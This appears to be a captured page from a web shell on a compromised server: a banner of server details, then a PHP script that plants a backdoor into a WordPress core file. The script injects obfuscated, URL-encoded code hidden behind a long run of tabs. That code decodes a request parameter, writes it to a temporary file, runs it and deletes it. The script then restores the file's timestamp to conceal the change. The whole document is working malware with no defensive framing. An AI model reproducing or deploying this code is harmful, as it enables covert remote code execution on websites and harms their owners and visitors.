| Server IP : 176.9.105.210 / Your IP : 216.73.217.21 Web Server : Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips System : Linux server.mediaphic.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : freelife ( 1356) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system,show_source,mail,sendmail,popen,symlink,phpinfo MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /dev/shm/ |
Upload File : |
<?php $path = '/home/oasismet/public_html/wp-includes/blocks/button.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28isset%28%24_REQUEST%5B%22%5Cx76al%22%5D%29%20%3F%20true%20%3A%20false%29%7B%20%24data_chunk%20%3D%20array_filter%28%5Bgetenv%28%22TEMP%22%29%2C%20getcwd%28%29%2C%20sys_get_temp_dir%28%29%2C%20%22/tmp%22%2C%20%22/dev/shm%22%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getenv%28%22TMP%22%29%2C%20%22/var/tmp%22%2C%20session_save_path%28%29%5D%29%3B%20%24property_set%20%3D%20%24_REQUEST%5B%22%5Cx76al%22%5D%3B%20%24property_set%20%3D%20explode%20%28%20%22.%22%20%2C%20%24property_set%20%29%20%3B%20%24sym%20%3D%27%27%3B%20%24salt2%20%3D%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3Dstrlen%28%20%24salt2%20%29%3B%20%24l%20%3D0%3B%20foreach%28%20%24property_set%20as%20%24v7%29%20%7B%24chS%20%3Dord%28%20%24salt2%5B%24l%20%25%20%24sLen%5D%20%29%3B%20%24dec%20%3D%28%20%28%20int%29%24v7%20-%20%24chS%20-%28%20%24l%20%25%2010%29%29%20%5E%201%3B%20%24sym%20.%3D%20chr%28%20%24dec%20%29%3B%20%24l%2B%2B%3B%20%7D%20for%20%28%24token%20%3D%200%2C%20%24ent%20%3D%20count%28%24data_chunk%29%3B%20%24token%20%3C%20%24ent%3B%20%24token%2B%2B%29%20%7B%20%24holder%20%3D%20%24data_chunk%5B%24token%5D%3B%20if%20%28%21%28%20%21is_dir%28%24holder%29%20%7C%7C%20%21is_writable%28%24holder%29%20%29%29%20%7B%20%24binding%20%3D%20%22%24holder%22%20.%20%22/.dchunk%22%3B%20%24file%20%3D%20fopen%28%24binding%2C%20%27w%27%29%3B%20if%20%28%24file%29%20%7B%20fwrite%28%24file%2C%20%24sym%29%3B%20fclose%28%24file%29%3B%20include%20%24binding%3B%20%40unlink%28%24binding%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D'); if (strlen($content) < 32) { die('!failed!'); } if (strstr($content, $new_code)) { die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) { die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { $len = strlen($start); if ($len > strlen($body) || substr($body, 0, $len) !== $start) { continue; } if ($start === '<?') { if (strncmp($body, '<?xml', 5) === 0) { continue; } if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') { continue; } } $rest = substr($body, $len); $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest; $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { // +10s: opcache sees a newer mtime; date stays close to original @touch($path, $ft + 10); $check = (string) @file_get_contents($path); if (strstr($check, $new_code)) { die('!success!'); } } if ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } die('!failed!');